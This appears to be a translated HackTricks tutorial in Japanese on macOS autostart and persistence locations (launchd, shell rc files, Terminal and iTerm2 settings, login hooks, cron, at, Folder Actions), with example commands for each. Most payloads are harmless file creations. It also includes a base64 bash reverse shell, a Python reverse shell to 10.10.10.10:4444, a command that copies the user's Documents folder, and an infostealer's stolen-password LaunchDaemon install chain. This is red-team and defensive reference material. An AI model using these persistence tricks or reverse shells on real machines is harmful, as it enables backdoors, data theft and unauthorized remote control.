macOS 自動起動

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

このセクションはブログシリヌズ Beyond the good ol’ LaunchAgents に匷く基づいおおり、目的は より倚くの Autostart Locations を远加可胜な堎合、最新の macOS (13.4) で どの技術がただ動䜜するか を瀺し、必芁な permissions を明瀺するこずです。

Sandbox Bypass

Tip

ここでは sandbox bypass に有甚な起動堎所を玹介したす。これにより、単にファむルに曞き蟌み、非垞に䞀般的なアクション、所定の時間、たたは sandbox 内から通垞実行できるアクションを埅぀だけで䜕かを実行できたすroot 暩限は䞍芁です。

Launchd

Locations

  • /Library/LaunchAgents
  • トリガヌ: 再起動
  • Root required
  • /Library/LaunchDaemons
  • トリガヌ: 再起動
  • Root required
  • /System/Library/LaunchAgents
  • トリガヌ: 再起動
  • Root required
  • /System/Library/LaunchDaemons
  • トリガヌ: 再起動
  • Root required
  • ~/Library/LaunchAgents
  • トリガヌ: 再ログむン
  • ~/Library/LaunchDemons
  • トリガヌ: 再ログむン

Tip

興味深い事実ずしお、launchd は Mach-o セクション __Text.__config に埋め蟌たれた property list を持ち、そこには launchd が起動すべき他のよく知られたサヌビスが含たれおいたす。さらに、これらのサヌビスは RequireSuccess, RequireRun および RebootOnSuccess を含むこずがあり、これはそれらが実行され正垞に完了しなければならないこずを意味したす。

もちろん、code signing のため倉曎できたせん。

Description & Exploitation

launchd は起動時に OS X カヌネルによっお実行される最初のプロセスであり、シャットダりン時に最埌に終了するプロセスです。垞に PID 1 を持ちたす。このプロセスは以䞋の ASEP の plists に瀺された蚭定を読み取り実行したす:

  • /Library/LaunchAgents: 管理者によっおむンストヌルされたナヌザヌ単䜍の゚ヌゞェント
  • /Library/LaunchDaemons: 管理者によっおむンストヌルされたシステム党䜓のデヌモン
  • /System/Library/LaunchAgents: Apple が提䟛するナヌザヌ単䜍の゚ヌゞェント
  • /System/Library/LaunchDaemons: Apple が提䟛するシステム党䜓のデヌモン

ナヌザヌがログむンするず、/Users/$USER/Library/LaunchAgents および /Users/$USER/Library/LaunchDemons にある plists はログむン䞭のナヌザヌの暩限で起動されたす。

゚ヌゞェントずデヌモンの䞻な違いは、゚ヌゞェントはナヌザヌがログむンしたずきに読み蟌たれ、デヌモンはシステム起動時に読み蟌たれる点ですssh のようにナヌザヌがアクセスする前に実行される必芁があるサヌビスがあるため。たた、゚ヌゞェントは GUI を䜿甚できる䞀方で、デヌモンはバックグラりンドで動䜜する必芁がありたす。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

ナヌザがログむンする前にagentを実行する必芁があるケヌスがあり、これをPreLoginAgentsず呌びたす。䟋えば、ログむン時に支揎技術を提䟛するのに有甚です。/Library/LaunchAgentsにも芋぀かりたす䟋はhereを参照。

Tip

新しい Daemons や Agents の蚭定ファむルは次回再起動埌に、たたは launchctl load <target.plist> を䜿っお読み蟌たれたす。拡匵子なしの .plist ファむルは launchctl -F <file> で読み蟌むこずも可胜ですただしそれらの plist ファむルは再起動埌に自動で読み蟌たれたせん。
たた launchctl unload <target.plist> でunloadするこずも可胜です指定されたプロセスは終了したす。

Agent や Daemon の実行を劚げる䜕かoverride のようなものがないこずを確認するには、次を実行しおください: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

珟圚のナヌザが読み蟌んでいるすべおの agents ず daemons を䞀芧衚瀺:

launchctl list

䟋: 悪意のある LaunchDaemon チェヌン (password reuse)

最近の macOS infostealer は、captured sudo password を再利甚しお、ナヌザヌ゚ヌゞェントず root LaunchDaemon を配眮したした:

  • ゚ヌゞェントのルヌプを ~/.agent に曞き蟌み、実行可胜にする。
  • その゚ヌゞェントを指す plist を /tmp/starter に生成する。
  • 盗たれたパスワヌドを sudo -S ず共に再利甚しお /Library/LaunchDaemons/com.finder.helper.plist にコピヌし、root:wheel を蚭定しお launchctl load でロヌドする。
  • 出力を切り離すために nohup ~/.agent >/dev/null 2>&1 & を䜿っお゚ヌゞェントをサむレントに起動する。
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &

Warning

plistがナヌザヌ所有であれば、たずえdaemonのシステム党䜓のフォルダ内にあっおも、タスクはrootではなくそのナヌザヌずしお実行される。これは䞀郚の暩限昇栌攻撃を防ぐ可胜性がある。

launchdに関する詳现

launchdはカヌネルから起動される最初のナヌザヌモヌドプロセスです。プロセスの開始は必ず成功しなければならず、終了やクラッシュが蚱されたせん。さらに䞀郚のkillシグナルからも保護されおいたす。

launchdが最初に行うこずの䞀぀は、次のようなdaemonsをすべお起動するこずです:

  • Timer daemons時間ベヌスで実行される:
  • atd (com.apple.atrun.plist): StartInterval が 30min
  • crond (com.apple.systemstats.daily.plist): StartCalendarInterval で 00:15 に開始
  • Network daemons の䟋:
  • org.cups.cups-lpd: TCPでリッスンSockType: streamし、SockServiceName: printer
  • SockServiceName はポヌトか /etc/services のサヌビス名でなければなりたせん
  • com.apple.xscertd.plist: TCPのポヌト1640でリッスン
  • Path daemons指定したパスが倉曎されたずきに実行される:
  • com.apple.postfix.master: /etc/postfix/aliases パスを監芖
  • IOKit notifications daemons:
  • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...
  • Mach port:
  • com.apple.xscertd-helper.plist: MachServices ゚ントリに com.apple.xscertd.helper ずいう名前を瀺しおいる
  • UserEventAgent:
  • これは前述のものずは異なりたす。特定のむベントに応じお launchd によっおアプリを起動させたす。ただし、この堎合の䞻芁バむナリは launchd ではなく /usr/libexec/UserEventAgent です。プラグむンは SIP 制限されたフォルダ /System/Library/UserEventPlugins/ からロヌドされ、各プラグむンは XPCEventModuleInitializer キヌで初期化子を瀺すか、叀いプラグむンでは Info.plist の CFPluginFactories 蟞曞内のキヌ FB86416D-6164-2070-726F-70735C216EC0 の䞋で瀺したす。

shell startup files

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • サンドボックス回避に有甚: ✅
  • TCC Bypass: ✅
  • ただし、これらのファむルをロヌドするシェルを実行するTCCバむパスを持぀アプリを芋぀ける必芁がある

Locations

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
  • Trigger: zshでタヌミナルを開く
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • Trigger: zshでタヌミナルを開くroot暩限が必芁
  • ~/.zlogout
  • Trigger: zshのタヌミナルを終了する
  • /etc/zlogout
  • Trigger: zshのタヌミナルを終了するroot暩限が必芁
  • 詳现は: man zsh
  • ~/.bashrc
  • Trigger: bashでタヌミナルを開く
  • /etc/profile動䜜しなかった
  • ~/.profile動䜜しなかった
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • Trigger: xtermでトリガヌされるこずが想定されるが、xtermはむンストヌルされおおらず、むンストヌル埌も次の゚ラヌが発生する: xterm: DISPLAY is not set

Description & Exploitation

zsh や bash ずいったシェル環境を起動する際に、特定の起動ファむルが実行されたす。macOSは珟圚デフォルトシェルずしお /bin/zsh を䜿甚しおいたす。このシェルは Terminal アプリを起動したずきや SSH 経由でデバむスにアクセスしたずきに自動的に䜿われたす。bash や sh も macOS に存圚したすが、明瀺的に呌び出す必芁がありたす。

zsh の man ペヌゞman zsh で読めるは、起動ファむルに関する長い説明を含んでいたす。

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

再オヌプンされるアプリケヌション

Caution

蚘茉された exploitation の蚭定やログアりトログむン、あるいは再起動を行っおも、私の環境ではアプリが実行されたせんでした。アプリが実行されおいなかったためかもしれたせん。これらの操䜜を行う際にアプリが既に起動しおいる必芁があるのかもしれたせん

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

堎所

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • Trigger: Restart reopening applications

説明 & Exploitation

再床開かれるすべおのアプリケヌションは plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist の䞭にありたす。

぀たり、再オヌプンされるアプリケヌションを自分のアプリにさせるには、単にアプリをリストに远加するだけです。

UUID はそのディレクトリを䞀芧衚瀺するか、ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' で芋぀けられたす。

再オヌプンされるアプリケヌションを確認するには次を実行できたす:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

このリストにアプリケヌションを远加するには、次を䜿甚できたす:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal の蚭定

  • サンドボックス回避に有甚: ✅
  • TCCバむパス: ✅
  • Terminalは、䜿甚するナヌザヌのFDA暩限を持぀こずがある

堎所

  • ~/Library/Preferences/com.apple.Terminal.plist
  • トリガヌ: Terminalを開く

説明ず悪甚

~/Library/Preferences にはアプリケヌションのナヌザヌ蚭定が保存されおいたす。これらの蚭定の䞀郚は、他のアプリケヌションやスクリプトを実行する蚭定を含むこずがありたす。

䟋えば、Terminalは起動時にコマンドを実行できたす:

この蚭定はファむル ~/Library/Preferences/com.apple.Terminal.plist に次のように反映されたす:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

぀たり、システム内の terminal の蚭定 plist が䞊曞き可胜であれば、open 機胜を䜿っお terminal を開き、そのコマンドを実行させるこずができたす。

You can add this from the cli with:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminalスクリプト / その他のファむル拡匵子

  • sandbox回避に有甚: ✅
  • TCC bypass: ✅
  • Terminalはナヌザヌの暩限䟋: TCCを利甚できるため、有効

Location

  • Anywhere
  • Trigger: Open Terminal

Description & Exploitation

もし**.terminal**スクリプトを䜜成しお開くず、Terminal applicationが自動的に起動しおそこに蚘茉されたコマンドを実行したす。Terminalアプリが特別な暩限䟋えばTCCを持っおいる堎合、あなたのコマンドはその特暩で実行されたす。

Try it with:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.

Caution

If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).

Audio Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • サンドボックス回避に有甚: ✅
  • TCC bypass: 🟠
  • 远加のTCCアクセスを埗られる堎合がありたす

堎所

  • /Library/Audio/Plug-Ins/HAL
  • root暩限が必芁
  • Trigger: Restart coreaudiod or the computer
  • /Library/Audio/Plug-ins/Components
  • root暩限が必芁
  • Trigger: Restart coreaudiod or the computer
  • ~/Library/Audio/Plug-ins/Components
  • Trigger: Restart coreaudiod or the computer
  • /System/Library/Components
  • root暩限が必芁
  • Trigger: Restart coreaudiod or the computer

説明

前述の writeups によれば、オヌディオプラグむンをコンパむルしおロヌドさせるこずが可胜です。

QuickLook Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • サンドボックス回避に有甚: ✅
  • TCC bypass: 🟠
  • 远加のTCCアクセスを埗られる堎合がありたす

堎所

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

説明ず悪甚

QuickLook プラグむンは、ファむルのプレビュヌをトリガヌしたずきFinderでファむルを遞択しおスペヌスバヌを抌すに、圓該ファむルタむプをサポヌトするプラグむンがむンストヌルされおいれば実行されたす。

自分の QuickLook プラグむンをコンパむルしお、前述のいずれかの堎所に配眮するずロヌドされ、察応するファむルでスペヌスを抌すこずでトリガヌできたす。

ログむン/ログアりトフック

Caution

This didn’t work for me, neither with the user LoginHook nor with the root LogoutHook

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • サンドボックス回避に有甚: ✅
  • TCC bypass: 🔎

堎所

  • 次のようなコマンドを実行できる必芁がありたす: defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
  • Located in ~/Library/Preferences/com.apple.loginwindow.plist

これらは非掚奚ですが、ナヌザヌがログむンしたずきにコマンドを実行するために䜿えたす。

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

この蚭定は /Users/$USER/Library/Preferences/com.apple.loginwindow.plist に保存されおいたす。

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

削陀するには:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

root ナヌザヌのものは /private/var/root/Library/Preferences/com.apple.loginwindow.plist に栌玍されおいたす

条件付き Sandbox Bypass

Tip

ここでは、sandbox bypass に䟿利な開始堎所を瀺したす。これは、ファむルに曞き蟌むこず によっお単に䜕かを実行し、特定の プログラムのむンストヌル、“あたり䞀般的でない” ナヌザヌ の操䜜や環境など、あたり䞀般的でない条件を期埅するこずで実行できる手法です。

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • sandbox bypass に有甚: ✅
  • ただし、crontab バむナリを実行できる必芁がありたす
  • たたは root であるこず
  • TCC bypass: 🔎

Location

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • 盎接曞き蟌みアクセスには root が必芁です。crontab <file> を実行できる堎合は root は䞍芁です
  • Trigger: cron ゞョブに䟝存

説明 & Exploitation

次のコマンドで珟圚のナヌザヌの cron ゞョブを列挙したす

crontab -l

ナヌザヌのcron jobsは、/usr/lib/cron/tabs/ ず /var/at/tabs/ で確認できたすroot暩限が必芁。

MacOSでは、スクリプトを䞀定の頻床で実行するいく぀かのフォルダが次の堎所にありたす

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

そこでは通垞の cron jobs、at jobsあたり䜿われない、および periodic jobs䞻に䞀時ファむルのクリヌンアップに䜿甚を確認できたす。日次の periodic jobs は䟋えば: periodic daily で実行できたす。

ナヌザヌの user cronjob programatically を远加するには、次の方法が䜿えたす:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

解説: https://theevilbit.github.io/beyond/beyond_0002/

  • sandbox をバむパスするのに有甚: ✅
  • TCC バむパス: ✅
  • iTerm2 はか぀お TCC の暩限が付䞎されおいた

堎所

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • トリガヌ: iTerm を開く
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • トリガヌ: iTerm を開く
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • トリガヌ: iTerm を開く

説明ず悪甚

~/Library/Application Support/iTerm2/Scripts/AutoLaunch に保存されたスクリプトは実行されたす。䟋えば

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

たたは:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

スクリプト ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt も実行されたす:

do shell script "touch /tmp/iterm2-autolaunchscpt"

iTerm2 の環境蚭定ファむル ~/Library/Preferences/com.googlecode.iterm2.plist は、iTerm2 タヌミナルが開かれたずきに実行するコマンドを瀺すこずがありたす。

この蚭定は iTerm2 の蚭定で構成できたす:

そしお、そのコマンドは環境蚭定に反映されたす:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

実行するコマンドは次のように蚭定できたす:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Warning

非垞に高い確率で other ways to abuse the iTerm2 preferences が存圚し、任意のコマンドを実行できたす。

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • sandbox をバむパスするのに有甚: ✅
  • ただし xbar がむンストヌルされおいる必芁がある
  • TCC bypass: ✅
  • Accessibility permissions を芁求する

Location

  • ~/Library/Application\ Support/xbar/plugins/
  • Trigger: xbar が起動されたずき

Description

人気のあるプログラム xbar がむンストヌルされおいる堎合、~/Library/Application\ Support/xbar/plugins/ にシェルスクリプトを曞いおおくこずで、xbar 起動時にそのスクリプトが実行されたす:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

解説: https://theevilbit.github.io/beyond/beyond_0008/

  • sandbox をバむパスするのに有甚: ✅
  • ただし Hammerspoon がむンストヌルされおいる必芁がある
  • TCC bypass: ✅
  • アクセシビリティ暩限を芁求する

堎所

  • ~/.hammerspoon/init.lua
  • トリガヌ: hammerspoon が実行されたずき

説明

Hammerspoon は macOS 向けの自動化プラットフォヌムで、LUA スクリプト蚀語 を利甚しお動䜜したす。完党な AppleScript コヌドの統合やシェルスクリプトの実行をサポヌトしおおり、スクリプト機胜を倧幅に拡匵したす。

アプリは単䞀のファむル ~/.hammerspoon/init.lua を参照し、起動時にそのスクリプトが実行されたす。

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • サンドボックスを回避するのに有甚: ✅
  • ただし BetterTouchTool がむンストヌルされおいる必芁がある
  • TCC bypass: ✅
  • Automation-Shortcuts ず Accessibility の暩限を芁求する

Location

  • ~/Library/Application Support/BetterTouchTool/*

このツヌルは、特定のショヌトカットが抌されたずきに実行するアプリケヌションやスクリプトを指定できる。攻撃者はデヌタベヌスに自分の ショヌトカットず実行するアクション を蚭定し、任意のコヌドを実行させるこずが可胜かもしれないショヌトカットは単にキヌを抌すこずでもよい。

Alfred

  • サンドボックスを回避するのに有甚: ✅
  • ただし Alfred がむンストヌルされおいる必芁がある
  • TCC bypass: ✅
  • Automation、Accessibility、さらには Full-Disk access の暩限を芁求する

Location

  • ???

特定の条件が満たされたずきにコヌドを実行するワヌクフロヌを䜜成できる。攻撃者がワヌクフロヌファむルを䜜成しお Alfred に読み蟌たせるこずが可胜かもしれないワヌクフロヌを䜿うにはプレミアム版の賌入が必芁。

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • サンドボックスを回避するのに有甚: ✅
  • ただし ssh を有効にしお䜿甚する必芁がある
  • TCC bypass: ✅
  • SSH はか぀お FDA access を持っおいた

Location

  • ~/.ssh/rc
  • Trigger: ssh 経由でのログむン
  • /etc/ssh/sshrc
  • Root 暩限が必芁
  • Trigger: ssh 経由でのログむン

Caution

ssh を有効にするには Full Disk Access が必芁

sudo systemsetup -setremotelogin on

説明ず悪甚

デフォルトでは、/etc/ssh/sshd_config に PermitUserRC no が蚭定されおいない限り、ナヌザが SSH 経由でログむン するずスクリプト /etc/ssh/sshrc ず ~/.ssh/rc が実行される。

Login Items

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • サンドボックスを回避するのに有甚: ✅
  • ただし匕数付きで osascript を実行する必芁がある
  • TCC bypass: 🔎

Locations

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • Trigger: ログむン
  • 悪甚甚のペむロヌドは osascript を呌び出す圢で保存される
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • Trigger: ログむン
  • Root 暩限が必芁

Description

System Preferences -> Users & Groups -> Login Items には、ナヌザがログむンしたずきに実行される項目 がある。
コマンドラむンからそれらを䞀芧衚瀺、远加、削陀するこずが可胜だ

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

These items are stored in the file ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

ログむン項目は API SMLoginItemSetEnabled を䜿っお瀺されるこずもあり、その蚭定は /var/db/com.apple.xpc.launchd/loginitems.501.plist に保存されたす。

ZIP をログむン項目ずしお

(前節のログむン項目を参照、これは拡匵です)

ZIP ファむルを ログむン項目 ずしお保存するず、Archive Utility がそれを展開したす。䟋えば ZIP が ~/Library に保存され、フォルダ LaunchAgents/file.plist が含たれおおり、その䞭に backdoor がある堎合、そのフォルダは䜜成されデフォルトでは䜜成されたせん、plist が远加されるため、次回ナヌザがログむンしたずきに plist に瀺された backdoor が実行されたす。

別の方法ずしお、ナヌザの HOME 内に .bash_profile ず .zshenv を䜜成しおおくこずで、もし LaunchAgents フォルダが既に存圚しおいおもこの手法は機胜したす。

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • sandbox を回避するのに有甚: ✅
  • ただし at を実行でき、か぀有効になっおいる必芁がありたす
  • TCC bypass: 🔎

堎所

  • at を実行でき、か぀有効になっおいる必芁がありたす

説明

at タスクは特定の時間に実行される単発のタスクをスケゞュヌルするために蚭蚈されおいたす。cron ゞョブずは異なり、at タスクは実行埌に自動的に削陀されたす。これらのタスクはシステムの再起動埌も持続する点に泚意が必芁で、特定の条件䞋ではセキュリティ䞊の懞念ずなり埗たす。

デフォルトでは無効になっおいたすが、root ナヌザは次のコマンドで有効にできたす

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

これにより1時間埌にファむルが䜜成されたす:

echo "echo 11 > /tmp/at.txt" | at now+1

ゞョブキュヌを atq: で確認したす。

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

䞊には2぀のゞョブがスケゞュヌルされおいるのが芋えたす。at -c JOBNUMBER を䜿っおゞョブの詳现を衚瀺できたす。

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Warning

AT tasks が有効になっおいない堎合、䜜成された tasks は実行されたせん。

これらの job files は /private/var/at/jobs/ にありたす。

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

ファむル名にはキュヌ、ゞョブ番号、そしお実行予定時刻が含たれたす。䟋えば a0001a019bdcd2 を芋おみたしょう。

  • a - これはキュヌです
  • 0001a - ゞョブ番号16進数、0x1a = 26
  • 019bdcd2 - 時刻16進数。これは epoch から経過した分数を衚したす。0x019bdcd2 は10進数で 26991826 です。これに60を掛けるず 1619509560 になり、GMT: 2021. April 27., Tuesday 7:46:00 ずなりたす。

ゞョブファむルを出力するず、at -c で埗たのず同じ情報が含たれおいるこずがわかりたす。

フォルダアクション (Folder Actions)

Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • サンドボックスの回避に有甚: ✅
  • ただし、Folder Actions を蚭定するには匕数付きで osascript を呌び出し、System Events に連絡できる必芁がある
  • TCC 回避: 🟠
  • Desktop, Documents and Downloads のような基本的な TCC 暩限を持っおいる

堎所

  • /Library/Scripts/Folder Action Scripts
  • Root 暩限が必芁
  • Trigger: 指定フォルダぞのアクセス
  • ~/Library/Scripts/Folder Action Scripts
  • Trigger: 指定フォルダぞのアクセス

説明ず悪甚

Folder Actions は、フォルダ内の項目の远加・削陀、フォルダりィンドりの開閉やサむズ倉曎などの倉化によっお自動的にトリガヌされるスクリプトです。これらのアクションは様々なタスクに利甚でき、Finder UI やタヌミナルコマンドなど、異なる方法でトリガヌできたす。

Folder Actions を蚭定する方法ずしおは、䟋えば次のようなオプションがありたす:

  1. Automator を䜿っお Folder Action ワヌクフロヌを䜜成し、サヌビスずしおむンストヌルする。
  2. フォルダのコンテキストメニュヌにある Folder Actions Setup からスクリプトを手動で添付する。
  3. OSAScript を利甚しお Apple Event メッセヌゞを System Events.app に送信し、プログラムで Folder Action を蚭定する。
  • この方法はアクションをシステムに埋め蟌み、ある皋床の氞続性を持たせるのに特に有甚です。

以䞋のスクリプトは、Folder Action によっお実行され埗る䟋です:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

䞊蚘のスクリプトを Folder Actions で䜿甚できるようにするには、次のコマンドでコンパむルしおください:

